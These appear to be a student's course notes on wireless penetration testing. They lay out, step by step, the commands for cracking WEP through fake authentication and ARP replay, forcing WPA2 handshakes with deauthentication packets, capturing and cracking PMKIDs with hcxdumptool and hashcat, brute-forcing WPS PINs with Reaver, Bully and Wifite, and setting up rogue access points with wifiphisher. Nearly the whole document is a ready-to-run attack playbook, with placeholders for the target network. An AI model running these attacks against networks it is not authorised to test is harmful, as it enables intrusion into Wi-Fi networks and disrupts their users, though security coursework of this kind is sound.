Wireless Penetration Tester

Created	@January 25, 2026 2:53 PM
Class	Oday Academy

Attacking WEP

Vulnerability: Short IV reused.

1. List the USB devices connected to the VM

```
lsusb
```

2. Check and kill the services that will disrupt the stability of the wifi adapter

```
sudo airmon-ng check kill
```

3. Check the interface of the adapter

```
ip link
```

#Interface of wlan0 is down

4. Start the monitor mode

```
sudo airmon-ng start wlan0
```

#Interface of wlan0 is up

5. Scan the wifi nearby

```
sudo airodump-ng wlan0 --encrypt wep wlan0
```

—encrypt specifies the encryption mode of AP, either WEP or WPA.

6. Capture specific AP wifi frames (capture the IV and crack it)

```
sudo airodump-ng --bssid AP_BSSID -c CHANNEL_NUM -w FILE_SAVED wlan0
```

7. Perform fake authentication attack for the adapter to associate with the AP to perform ARP request replay

```
sudo aireplay-ng -1 0 -a AP_BSSID wlan0
```

-1 means fake authentication attack

8. Perform ARP request replay to request packets (new IV for each packet) from the AP

```
sudo aireplay-ng -3 -b AP_BSSID wlan0
```

-3 means ARP request replay

9. At the same time, crack the WEP key

```
aircrack-ng FILE_SAVED.cap
```

WPA2 PSK Handshake Capture + Deauth Attack

Conditions: At least 1 client connects to the AP to capture the 4-way handshake.

1. Same as the Steps 1-6 above
2. Send Deauth packet to the client (need to have the clients that already authenticated with the AP, deauthenticate them and then capture the handshake when they try to reconnect)

```
sudo aireplay-ng -0 5 -a AP_BSSID -c DEVICE_MAC wlan0
```

-0 means deauth attack

5 means 5 deauth packets sent to the device

At this point, the WPA handshake can be captured by airodump.

3. Crack the authentication hashes

```
aircrack-ng FILE_SAVED.cap -w WORDLISTS
```

PMKID Attack (WPA2)

Tools needed: hcxdumptool, hcxtools (to get the PMKID from the AP)

Conditions: No clients connect to the AP

Cache: PMKSA (PMK from device must match the PMKID stored in cache)

1. Specify target AP

```
sudo hcxdumptool --bpfc "wlan addr3 AP_BSSID" > target.bpf
```

With `bpfc` (Berkeley Packet Filter):

- 🎯 Focus on a **specific AP**
- ⚡ Less processing overhead
- 📁 Cleaner capture files
- 🔍 Higher efficiency for PMKID collection (from a learning/defensive perspective)

addr3 → BSSID (AP MAC)

2. Confirm AP Channel and capture the PMKID

```
sudo hcxdumptool -i wlan0 -w FILE_SAVED.pcapng --bpf=target.bpf --rds=1 -c 3a
```

3a means channel 3 with 2.4 GHz

With `--rds=1`:

- hcxdumptool **does not wait for normal traffic**
- It can detect **AP responses at the radio level**
- Improves chances of observing **PMKID-related exchanges** (conceptually)

Then, wait for ep+ value.

3. Extract the hash

```
hcxpcapngtool -o myhash.22000 FILE_SAVED.pcapng
```

4. Crack the hash

```
hashcat -m 22000 myhash.22000 WORDLISTS
```

WPS Brute Force (8 pin)

WPS Split Vulnerability

- 8th digit is a checksum
- Check the first half as a whole (10^4)
- If the first half is correct, check 5, 6, 7th (10^3)

Tools: Wash, Reaver, Bully, Wifite

Wash:

```
sudo wash -i wlan0
```

If lck is ON, then WPS is locked. Need to brute force slowly to avoid.

Reaver:

```
sudo reaver -i wlan0 -b AP_BSSID -K 1 -vv
```

-K (Pixie Dust)

Bully:

```
sudo bully -b AP_BSSID -c 2 -v 3 -F wlan0
```

-c means channel

-v means verbosity

Wifite:

```
sudo wifite -e NETWORK_NAME -c 2 --wps --pixie
```

-e specify network name

—pixie (Pixie Dust): Enables checks for **weak WPS implementations**

Attack WPA-Enterprise

Capture the credentials by creating a rogue access point.

https://github.com/wifiphisher/wifiphisher

Extra Notes:

1. Stop the monitor mode and reconnect to the wifi

```
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
```